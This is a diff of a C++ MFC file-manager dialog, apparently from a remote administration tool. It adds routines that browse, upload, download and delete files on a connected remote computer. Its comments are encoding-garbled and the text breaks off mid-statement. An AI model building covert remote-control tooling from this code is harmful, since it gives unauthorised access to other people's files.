while(m_ControlList_Client.DeleteColumn(0) != 0); - m_ControlList_Client.InsertColumn(0, "", LVCFMT_LEFT, 200); - m_ControlList_Client.InsertColumn(1, "С", LVCFMT_LEFT, 100); - m_ControlList_Client.InsertColumn(2, "", LVCFMT_LEFT, 100); - m_ControlList_Client.InsertColumn(3, "޸", LVCFMT_LEFT, 115); + m_list_remote.DeleteAllItems(); + while(m_list_remote.DeleteColumn(0) != 0); + m_list_remote.InsertColumn(0, "", LVCFMT_LEFT, 200); + m_list_remote.InsertColumn(1, "С", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(2, "", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(3, "޸", LVCFMT_LEFT, 115); - int iItemIndex = 0; - m_ControlList_Client.SetItemData(m_ControlList_Client.InsertItem(iItemIndex++, "..", GetServerIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),1); + + int nItemIndex = 0; + m_list_remote.SetItemData + ( + m_list_remote.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)), + 1 + ); /* ListView ˸ ǰSetRedraw(FALSE) ºSetRedraw(TRUE) */ - //m_list_remote.SetRedraw(FALSE); + m_list_remote.SetRedraw(FALSE); - if (ulLength != 0) + if (dwBufferLen != 0) { - // ʾб + // for (int i = 0; i < 2; i++) { - // Token //[Flag 1 HelloWorld\0С С ʱ ʱ 0 1.txt\0 С С ʱ ʱ] - char *szTravel = (char *)(szBuffer + 1); - - //[1 HelloWorld\0С С ʱ ʱ 0 1.txt\0 С С ʱ ʱ] - for(char *szBase = szTravel; szTravel - szBase < ulLength - 1;) + // Token5ֽ + char *pList = (char *)(pbBuffer + 1); + for(char *pBase = pList; pList - pBase < dwBufferLen - 1;) { - char *szFileName = NULL; + char *pszFileName = NULL; DWORD dwFileSizeHigh = 0; // ļֽڴС - DWORD dwFileSizeLow = 0; // ļֽڴС - int iItem = 0; + DWORD dwFileSizeLow = 0; // ļֽڴС + int nItem = 0; bool bIsInsert = false; - FILETIME FileTime; + FILETIME ftm_strReceiveLocalFileTime; - int iType = *szTravel ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; + int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; // i Ϊ 0 ʱĿ¼iΪ1ʱļ - bIsInsert = !(iType == FILE_ATTRIBUTE_DIRECTORY) == i; - - //0==1 0==0 !1 0 - - ////[HelloWorld\0С С ʱ ʱ 0 1.txt\0 С С ʱ ʱ] - szFileName = ++szTravel; + bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i; + pszFileName = ++pList; if (bIsInsert) { - iItem = m_ControlList_Client.InsertItem(iItemIndex++, szFileName, GetServerIconIndex(szFileName, iType)); - m_ControlList_Client.SetItemData(iItem, iType == FILE_ATTRIBUTE_DIRECTORY); // + nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType)); + m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); SHFILEINFO sfi; - SHGetFileInfo(szFileName, FILE_ATTRIBUTE_NORMAL | iType, &sfi,sizeof(SHFILEINFO), - SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); - m_ControlList_Client.SetItemText(iItem, 2, sfi.szTypeName); + SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); } // õļС - szTravel += strlen(szFileName) + 1; - if (bIsInsert) + pList += lstrlen(pszFileName) + 1; + if (bIsInsert) { - memcpy(&dwFileSizeHigh,szTravel, 4); - memcpy(&dwFileSizeLow, szTravel + 4, 4); - CString strFileSize; - strFileSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+1)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0)); - m_ControlList_Client.SetItemText(iItem, 1, strFileSize); - memcpy(&FileTime, szTravel + 8, sizeof(FILETIME)); - CTime Time(FileTime); - m_ControlList_Client.SetItemText(iItem, 3, Time.Format("%Y-%m-%d %H:%M")); + memcpy(&dwFileSizeHigh, pList, 4); + memcpy(&dwFileSizeLow, pList + 4, 4); + CString strSize; + strSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+1)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0)); + m_list_remote.SetItemText(nItem, 1, strSize); + memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME)); + CTime time(ftm_strReceiveLocalFileTime); + m_list_remote.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M")); } - szTravel += 16; + pList += 16; } } } - // m_list_remote.SetRedraw(TRUE); + m_list_remote.SetRedraw(TRUE); // ָ - m_ControlList_Client.EnableWindow(TRUE); + m_list_remote.EnableWindow(TRUE); + + ShowMessage("Զ̣װĿ¼ %s ", m_Remote_Path); } -//ض򱻿ض˽п -void CFileManagerDlg::OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult) +void CFileManagerDlg::ShowMessage(char *lpFmt, ...) { - NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR; + char buff[1024]; + va_list arglist; + va_start( arglist, lpFmt ); + + memset(buff, 0, sizeof(buff)); - if (m_Client_File_Path.IsEmpty()||m_Server_File_Path.IsEmpty()) + vsprintf(buff, lpFmt, arglist); + m_wndStatusBar.SetPaneText(0, buff); + va_end( arglist ); +} + +void CFileManagerDlg::OnLocalPrev() +{ + // TODO: Add your command handler code here + FixedLocalFileList(".."); +} + +void CFileManagerDlg::OnRemotePrev() +{ + // TODO: Add your command handler code here + GetRemoteFileList(".."); +} + +void CFileManagerDlg::OnLocalView() +{ + // TODO: Add your command handler code here + m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON); +} + +// ڹʾToolTip +BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) +{ + ASSERT(pNMHDR->code == TTN_NEEDTEXTA || pNMHDR->code == TTN_NEEDTEXTW); + //һı߿򴰿ȴϢ + if (GetRoutingFrame() != NULL) + return FALSE; + + + //ANSI and UNICODE汾 + TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR; + TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR; + TCHAR szFullText[256]; + + CString strTipText; + UINT nID = pNMHDR->idFrom; + + //idFromһӴڣõID + + if ( + pNMHDR->code == TTN_NEEDTEXTA + && (pTTTA->uFlags & TTF_IDISHWND) + || pNMHDR->code == TTN_NEEDTEXTW + && (pTTTW->uFlags & TTF_IDISHWND) + ) { - return; + //idFromǹľ + nID = ::GetDlgCtrlID((HWND)nID); } - // m_ulDragIndex = pNMListView->iItem; //Ҫϵ - - if(m_ControlList_Server.GetSelectedCount() > 1) //任ʽ ѡק + if (nID != 0) //0Ϊһָǰť { - m_hCursor = AfxGetApp()->LoadCursor(IDC_CURSOR_MDRAG); + //õnIDӦַ + AfxLoadString(nID, szFullText); + //õַȡTooltipʹõı + AfxExtractSubString(strTipText, szFullText, 1, '\n'); } + + //Ʒı + #ifndef _UNICODE + if (pNMHDR->code == TTN_NEEDTEXTA) + lstrcpyn(pTTTA->szText, strTipText, sizeof(pTTTA->szText)); else - { - m_hCursor = AfxGetApp()->LoadCursor(IDC_CURSOR_DRAG); - } - - m_bDragging = TRUE; - m_DragControlList = &m_ControlList_Server; - m_DropControlList = &m_ControlList_Server; - - SetCapture(); + _mbstowcsz(pTTTW->szText, strTipText, sizeof(pTTTW->szText)); + #else + if (pNMHDR->code == TTN_NEEDTEXTA) + _wcstombsz(pTTTA->szText, strTipText, sizeof(pTTTA->szText)); + else + lstrcpyn(pTTTW->szText, strTipText, sizeof(pTTTW->szText)); + #endif *pResult = 0; + //ʾTooltip + ::SetWindowPos(pNMHDR->hwndFrom, HWND_TOP, 0, 0, 0, 0, SWP_NOACTIVATE|SWP_NOSIZE|SWP_NOMOVE); + return TRUE; //Ϣ +} + +//////////////////////////////////ΪӦ////////////////////////////////////////// +void CFileManagerDlg::OnLocalList() +{ + // TODO: Add your command handler code here + m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_LIST); +} + +void CFileManagerDlg::OnLocalReport() +{ + // TODO: Add your command handler code here + m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_REPORT); +} + +void CFileManagerDlg::OnLocalBigicon() +{ + // TODO: Add your command handler code here + m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON); +} + +void CFileManagerDlg::OnLocalSmallicon() +{ + // TODO: Add your command handler code here + m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON); +} + +void CFileManagerDlg::OnRemoteList() +{ + // TODO: Add your command handler code here + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_LIST); +} + +void CFileManagerDlg::OnRemoteReport() +{ + // TODO: Add your command handler code here + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_REPORT); +} + +void CFileManagerDlg::OnRemoteBigicon() +{ + // TODO: Add your command handler code here + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON); +} + +void CFileManagerDlg::OnRemoteSmallicon() +{ + // TODO: Add your command handler code here + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON); +} + +void CFileManagerDlg::OnRemoteView() +{ + // TODO: Add your command handler code here + m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON); } -void CFileManagerDlg::OnMouseMove(UINT nFlags, CPoint point) +// ΪĿ¼ʱϰť +void CFileManagerDlg::OnUpdateLocalPrev(CCmdUI* pCmdUI) { - // TODO: ڴϢ/Ĭֵ - if (m_bDragging) //ֻקȤ - { - CPoint Point(point); //λ - ClientToScreen(&Point); //תԼĻ + // TODO: Add your command update UI handler code here + pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled()); +} - //ôھ - CWnd* pDropWnd = WindowFromPoint(Point); //ֵλ ûпؼ +void CFileManagerDlg::OnUpdateLocalDelete(CCmdUI* pCmdUI) +{ + // TODO: Add your command update UI handler code here + // ǸĿ¼ѡĿ0 + pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.GetSelectedCount() && m_list_local.IsWindowEnabled()); +} - if(pDropWnd->IsKindOf(RUNTIME_CLASS (CListCtrl))) //ǵĴڷΧ - { - SetCursor(m_hCursor); +void CFileManagerDlg::OnUpdateLocalNewfolder(CCmdUI* pCmdUI) +{ + // TODO: Add your command update UI handler code here + pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled()); +} - return; - } - else - { - SetCursor(LoadCursor(NULL,IDC_NO)); //ڻʽ - } - } +void CFileManagerDlg::OnUpdateLocalCopy(CCmdUI* pCmdUI) +{ + // TODO: Add your command update UI handler code here - CDialog::OnMouseMove(nFlags, point); + pCmdUI->Enable + ( + m_list_local.IsWindowEnabled() + && (m_Remote_Path.GetLength() || m_list_remote.GetSelectedCount()) // Զ·Ϊգѡ + && m_list_local.GetSelectedCount()// ·Ϊգѡ + ); } -void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point) +void CFileManagerDlg::OnUpdateLocalStop(CCmdUI* pCmdUI) { - if (m_bDragging) - { - ReleaseCapture(); //ͷIJ + // TODO: Add your command update UI handler code here + pCmdUI->Enable(!m_list_local.IsWindowEnabled() && m_bIsUpload); - m_bDragging = FALSE; - - CPoint Point(point); //õǰλĻ - ClientToScreen (&Point); //תڵǰûĴڵλ - - CWnd* DropWnd = WindowFromPoint (Point); //õǰ·޿ؼ - - if (DropWnd->IsKindOf (RUNTIME_CLASS (CListCtrl))) //һListControl - { - m_DropControlList = (CListCtrl*)DropWnd; //浱ǰĴھ - - DropItemOnList(); // - } - } - - CDialog::OnLButtonUp(nFlags, point); } -VOID CFileManagerDlg::DropItemOnList() +void CFileManagerDlg::OnUpdateRemotePrev(CCmdUI* pCmdUI) { - if (m_DragControlList==m_DropControlList) - { - return; - } + // TODO: Add your command update UI handler code here + pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled()); +} - if ((CWnd *)m_DropControlList == &m_ControlList_Server) - { - // m_nDropIndex = m_list_local.GetSelectionMark(); - // OnIdtRemoteCopy(); - } - else if ((CWnd *)m_DropControlList == &m_ControlList_Client) - { - //m_nDropIndex = m_list_remote.GetSelectionMark(); - OnCopyServerToClient(); - } +void CFileManagerDlg::OnUpdateRemoteCopy(CCmdUI* pCmdUI) +{ + // TODO: Add your command update UI handler code here + // ǸĿ¼ѡĿ0 + pCmdUI->Enable + ( + m_list_remote.IsWindowEnabled() + && (m_Local_Path.GetLength() || m_list_local.GetSelectedCount()) // ·Ϊգѡ + && m_list_remote.GetSelectedCount() // Զ·Ϊգѡ + ); +} + +void CFileManagerDlg::OnUpdateRemoteDelete(CCmdUI* pCmdUI) +{ + // TODO: Add your command update UI handler code here + // ǸĿ¼ѡĿ0 + pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.GetSelectedCount() && m_list_remote.IsWindowEnabled()); +} + +void CFileManagerDlg::OnUpdateRemoteNewfolder(CCmdUI* pCmdUI) +{ + // TODO: Add your command update UI handler code here + pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled()); +} + +void CFileManagerDlg::OnUpdateRemoteStop(CCmdUI* pCmdUI) +{ + // TODO: Add your command update UI handler code here + pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload); +} +bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) +{ + char lpszFilter[MAX_PATH]; + char *lpszSlash = NULL; + memset(lpszFilter, 0, sizeof(lpszFilter)); + + if (lpPathName[lstrlen(lpPathName) - 1] != '\\') + lpszSlash = "\\"; else - { - return; - } - // - //m_nDropIndex = -1; -} - -VOID CFileManagerDlg::OnCopyServerToClient() //ض˵ض -{ - m_Remote_Upload_Job.RemoveAll(); - POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition(); - while(Pos) - { - int iItem = m_ControlList_Server.GetNextSelectedItem(Pos); - CString strFileFullPath = NULL; - - if (0) - //if (m_IsLocalFinding) - {/* "2015-02-09 12:550 .-. Deja Ver (Ft. Tony Dize).mp3" */ - - //strFileName = m_ControlList_Server.GetItemText(iItem, 3) + m_list_local.GetItemText(nItem, 0); - } - else - { - strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0); - } - // Ŀ¼ - if (m_ControlList_Server.GetItemData(iItem)) - { - strFileFullPath += '\\'; - FixedServerToClientDirectory(strFileFullPath.GetBuffer(0)); - } - else - { - // ӵϴбȥ - HANDLE hFile = CreateFile(strFileFullPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE, - NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); - - if (hFile==INVALID_HANDLE_VALUE) - { - continue; - } - m_Remote_Upload_Job.AddTail(strFileFullPath); - - CloseHandle(hFile); - } - } - if (m_Remote_Upload_Job.IsEmpty()) - { - ::MessageBox(m_hWnd, "ļΪ", "", MB_OK|MB_ICONWARNING); - return; - } - EnableControl(FALSE); - SendToClientJob(); //͵һ -} - -BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) -{ - CHAR szBuffer[MAX_PATH]; - CHAR *szSlash = NULL; - memset(szBuffer, 0, sizeof(szBuffer)); - - if (szDircetoryFullPath[strlen(szDircetoryFullPath) - 1] != '\\') - szSlash = "\\"; - else - szSlash = ""; - - sprintf(szBuffer, "%s%s*.*", szDircetoryFullPath, szSlash); + lpszSlash = ""; + + wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash); + WIN32_FIND_DATA wfd; - HANDLE hFind = FindFirstFile(szBuffer, &wfd); //C;|1\*.* + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ return FALSE; + do { if (wfd.cFileName[0] == '.') - continue; // Ŀ¼ '.''..' + continue; // Ŀ¼ if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { - CHAR szv1[MAX_PATH]; - sprintf(szv1, "%s%s%s", szDircetoryFullPath,szSlash, wfd.cFileName); - FixedServerToClientDirectory(szv1); // ҵĿ¼Ŀ¼еݹ + char strDirectory[MAX_PATH]; + wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); + FixedUploadDirectory(strDirectory); // ҵĿ¼Ŀ¼еݹ } else { - CString strFileFullPath; - strFileFullPath.Format("%s%s%s", szDircetoryFullPath, szSlash, wfd.cFileName); - m_Remote_Upload_Job.AddTail(strFileFullPath); + CString file; + file.Format("%s%s%s", lpPathName, lpszSlash, wfd.cFileName); + //printf("send file %s\n",strFile); + m_Remote_Upload_Job.AddTail(file); // ļв } } while (FindNextFile(hFind, &wfd)); @@ -1164,291 +1406,1159 @@ BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) return true; } -VOID CFileManagerDlg::EndCopyServerToClient() //ͼûоͻָ +void CFileManagerDlg::EnableControl(BOOL bEnable) { - m_ulCounter = 0; - m_OperatingFileLength = 0; + m_list_local.EnableWindow(bEnable); + m_list_remote.EnableWindow(bEnable); + m_Local_Directory_ComboBox.EnableWindow(bEnable); + m_Remote_Directory_ComboBox.EnableWindow(bEnable); +} +void CFileManagerDlg::OnLocalCopy() +{ + m_bIsUpload = true; + // TODO: Add your command handler code here - ShowProgress(); - if (m_Remote_Upload_Job.IsEmpty()|| m_bIsStop) + // TODO: Add your command handler code here + // DragģҵDropĸļ + if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex)) + m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0); + // ϴб + m_Remote_Upload_Job.RemoveAll(); + POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + while(pos) //so long as we have a valid POSITION, we keep iterating { - m_Remote_Upload_Job.RemoveAll(); - m_bIsStop = FALSE; - EnableControl(TRUE); - m_ulTransferMode = TRANSFER_MODE_NORMAL; - GetClientFileList("."); - } - else - { - Sleep(5); + int nItem = m_list_local.GetNextSelectedItem(pos); + CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0); + // Ŀ¼ + if (m_list_local.GetItemData(nItem)) + { + file += '\\'; + FixedUploadDirectory(file.GetBuffer(0)); + } + else + { + // ӵϴбȥ + m_Remote_Upload_Job.AddTail(file); + } - SendToClientJob(); + } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory + if (m_Remote_Upload_Job.IsEmpty()) + { + ::MessageBox(m_hWnd, "ļΪ", "", MB_OK|MB_ICONWARNING); + return; } - return; + EnableControl(FALSE); + SendUploadJob(); } -BOOL CFileManagerDlg::SendToClientJob() //ض˵ض˵ķ +//////////////// ļ //////////////// +// ֻܷصļ +// һһյʱصڶļ ... +void CFileManagerDlg::OnRemoteCopy() +{ + m_bIsUpload = false; + // ļ + EnableControl(FALSE); + + // TODO: Add your command handler code here + // DragģҵDropĸļ + if (m_nDropIndex != -1 && m_pDropList->GetItemData(m_nDropIndex)) + m_hCopyDestFolder = m_pDropList->GetItemText(m_nDropIndex, 0); + // б + m_Remote_Download_Job.RemoveAll(); + POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl + while(pos) //so long as we have a valid POSITION, we keep iterating + { + int nItem = m_list_remote.GetNextSelectedItem(pos); + CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); + // Ŀ¼ + if (m_list_remote.GetItemData(nItem)) + file += '\\'; + // ӵбȥ + m_Remote_Download_Job.AddTail(file); + } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory + + // ͵һ + SendDownloadJob(); +} + +// һ +BOOL CFileManagerDlg::SendDownloadJob() +{ + + if (m_Remote_Download_Job.IsEmpty()) + return FALSE; + + // һ + CString file = m_Remote_Download_Job.GetHead(); + int nPacketSize = file.GetLength() + 2; + BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); + bPacket[0] = COMMAND_DOWN_FILES; + // ļƫƣʱ + memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1); + m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + + LocalFree(bPacket); + // бɾԼ + m_Remote_Download_Job.RemoveHead(); + return TRUE; +} + +// һϴ +BOOL CFileManagerDlg::SendUploadJob() { if (m_Remote_Upload_Job.IsEmpty()) return FALSE; - CString strDestDirectory = m_Client_File_Path; - - m_strSourFileFullPath = m_Remote_Upload_Job.GetHead(); //õһ + CString strDestDirectory = m_Remote_Path; + // ԶҲѡ񣬵Ŀļ + int nItem = m_list_remote.GetSelectionMark(); + + // ļ + if (nItem != -1 && m_list_remote.GetItemData(nItem) == 1) + { + strDestDirectory += m_list_remote.GetItemText(nItem, 0) + "\\"; + } + + if (!m_hCopyDestFolder.IsEmpty()) + { + strDestDirectory += m_hCopyDestFolder + "\\"; + } + // һ + m_strOperatingFile = m_Remote_Upload_Job.GetHead(); + DWORD dwSizeHigh; DWORD dwSizeLow; // 1 ֽtoken, 8ֽڴС, ļ, '\0' HANDLE hFile; - CString strString = m_strSourFileFullPath; // Զļ - + CString fileRemote = m_strOperatingFile; // Զļ // õҪ浽Զ̵ļ· - strString.Replace(m_Server_File_Path, m_Client_File_Path); //D:1.txt E:1.txt - m_strDestFileFullPath = strString; //õ - - hFile = CreateFile(m_strSourFileFullPath.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, - NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //ҪļĴС + fileRemote.Replace(m_Local_Path, strDestDirectory); + m_strUploadRemoteFile = fileRemote; + hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) - { return FALSE; - } dwSizeLow = GetFileSize (hFile, &dwSizeHigh); + m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; - m_OperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; CloseHandle(hFile); // ݰļ + int nPacketSize = fileRemote.GetLength() + 10; + BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); + memset(bPacket, 0, nPacketSize); + + bPacket[0] = COMMAND_FILE_SIZE; + memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD)); + memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); + memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1); + + m_iocpServer->Send(m_pContext, bPacket, nPacketSize); - ULONG ulLength =strString.GetLength() + 10; - BYTE *szBuffer = (BYTE *)LocalAlloc(LPTR, ulLength); - memset(szBuffer, 0, ulLength); - - szBuffer[0] = COMMAND_FILE_SIZE; - - //[Flag 0001 0001 E:\1.txt\0 ] - - //򱻿ض˷Ϣ COMMAND_FILE_SIZE ض˻ִCreateLocalRecvFile - //ӶֳһҪļѾھͻյ - // TOKEN_GET_TRANSFER_MODE - //һDZض˵GetFileDataӶյTOKEN_DATA_CONTINUE - - memcpy(szBuffer + 1, &dwSizeHigh, sizeof(DWORD)); - memcpy(szBuffer + 5, &dwSizeLow, sizeof(DWORD)); - - memcpy(szBuffer + 9, strString.GetBuffer(0), strString.GetLength() + 1); - - m_iocpServer->OnClientPreSending(m_ContextObject,szBuffer,ulLength); - - LocalFree(szBuffer); + LocalFree(bPacket); // бɾԼ m_Remote_Upload_Job.RemoveHead(); return TRUE; } - -void CFileManagerDlg::OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult) +// һɾ +BOOL CFileManagerDlg::SendDeleteJob() { - LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); + if (m_Remote_Delete_Job.IsEmpty()) + return FALSE; + // һ + CString file = m_Remote_Delete_Job.GetHead(); + int nPacketSize = file.GetLength() + 2; + BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); - CMenu Menu; - Menu.LoadMenu(IDR_MENU_FILE_OPERATION); - CMenu* SubMenu = Menu.GetSubMenu(0); - CPoint Point; - GetCursorPos(&Point); - SubMenu->DeleteMenu(2, MF_BYPOSITION); - if (m_ControlList_Server.GetSelectedCount() == 0) + if (file.GetAt(file.GetLength() - 1) == '\\') { - int iCount = SubMenu->GetMenuItemCount(); - for (int i = 0; i < iCount; i++) - { - SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); - } - } - - SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); - - *pResult = 0; -} - - -void CFileManagerDlg::OnOperationServerRun() -{ - CString strFileFullPath; - strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(m_ControlList_Server.GetSelectionMark(), 0); - ShellExecute(NULL, "open", strFileFullPath, NULL, NULL, SW_SHOW); //CreateProcess -} - - -void CFileManagerDlg::OnOperationRename() -{ - POINT Point; - GetCursorPos(&Point); - if (GetFocus()->m_hWnd == m_ControlList_Server.m_hWnd) - { - m_ControlList_Server.EditLabel(m_ControlList_Server.GetSelectionMark()); + ShowMessage("Զ̣ɾĿ¼ %s\*.* ", file); + bPacket[0] = COMMAND_DELETE_DIRECTORY; } else { - m_ControlList_Client.EditLabel(m_ControlList_Client.GetSelectionMark()); - } + ShowMessage("Զ̣ɾļ %s ", file); + bPacket[0] = COMMAND_DELETE_FILE; + } + // ļƫƣʱ + memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); + m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + + LocalFree(bPacket); + // бɾԼ + m_Remote_Delete_Job.RemoveHead(); + return TRUE; } - -void CFileManagerDlg::OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult) +void CFileManagerDlg::CreateLocalRecvFile() { - NMLVDISPINFO *pDispInfo = reinterpret_cast(pNMHDR); + // ü + m_nCounter = 0; - CString strNewFileName, strExistingFileFullPath, strNewFileFullPath; - m_ControlList_Server.GetEditControl()->GetWindowText(strNewFileName); + CString strDestDirectory = m_Local_Path; + // Ҳѡ񣬵Ŀļ + int nItem = m_list_local.GetSelectionMark(); - strExistingFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(pDispInfo->item.iItem, 0); - strNewFileFullPath = m_Server_File_Path + strNewFileName; - *pResult = ::MoveFile(strExistingFileFullPath.GetBuffer(0), strNewFileFullPath.GetBuffer(0)); -} - -void CFileManagerDlg::OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult) -{ - LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); - CMenu Menu; - Menu.LoadMenu(IDR_MENU_FILE_OPERATION); - CMenu* SubMenu = Menu.GetSubMenu(0); - CPoint Point; - GetCursorPos(&Point); - SubMenu->DeleteMenu(1, MF_BYPOSITION); - if (m_ControlList_Client.GetSelectedCount() == 0) + // ļ + if (nItem != -1 && m_list_local.GetItemData(nItem) == 1) { - int iCount = SubMenu->GetMenuItemCount(); - for (int i = 0; i < iCount; i++) + strDestDirectory += m_list_local.GetItemText(nItem, 0) + "\\"; + } + + if (!m_hCopyDestFolder.IsEmpty()) + { + strDestDirectory += m_hCopyDestFolder + "\\"; + } + + FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + DWORD dwSizeHigh = pFileSize->dwSizeHigh; + DWORD dwSizeLow = pFileSize->dwSizeLow; + + m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; + + // ǰļ + m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9); + + m_strReceiveLocalFile = m_strOperatingFile; + + // õҪ浽ıصļ· + m_strReceiveLocalFile.Replace(m_Remote_Path, strDestDirectory); + + // Ŀ¼ + MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0)); + + + WIN32_FIND_DATA FindFileData; + HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData); + + + if (hFind != INVALID_HANDLE_VALUE + && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL + && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL + && m_nTransferMode != TRANSFER_MODE_JUMP_ALL + ) + { + + CFileTransferModeDlg dlg(this); + dlg.m_strFileName = m_strReceiveLocalFile; + switch (dlg.DoModal()) { - SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); + case IDC_OVERWRITE: + m_nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case IDC_OVERWRITE_ALL: + m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; + break; + case IDC_ADDITION: + m_nTransferMode = TRANSFER_MODE_ADDITION; + break; + case IDC_ADDITION_ALL: + m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; + break; + case IDC_JUMP: + m_nTransferMode = TRANSFER_MODE_JUMP; + break; + case IDC_JUMP_ALL: + m_nTransferMode = TRANSFER_MODE_JUMP_ALL; + break; + case IDC_CANCEL: + m_nTransferMode = TRANSFER_MODE_CANCEL; + break; } } - SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); - *pResult = 0; -} - - -void CFileManagerDlg::OnOperationClientShowRun() -{ - CString strFileFullPath; - strFileFullPath = m_Client_File_Path + m_ControlList_Client.GetItemText(m_ControlList_Client.GetSelectionMark(), 0); - ULONG ulLength = 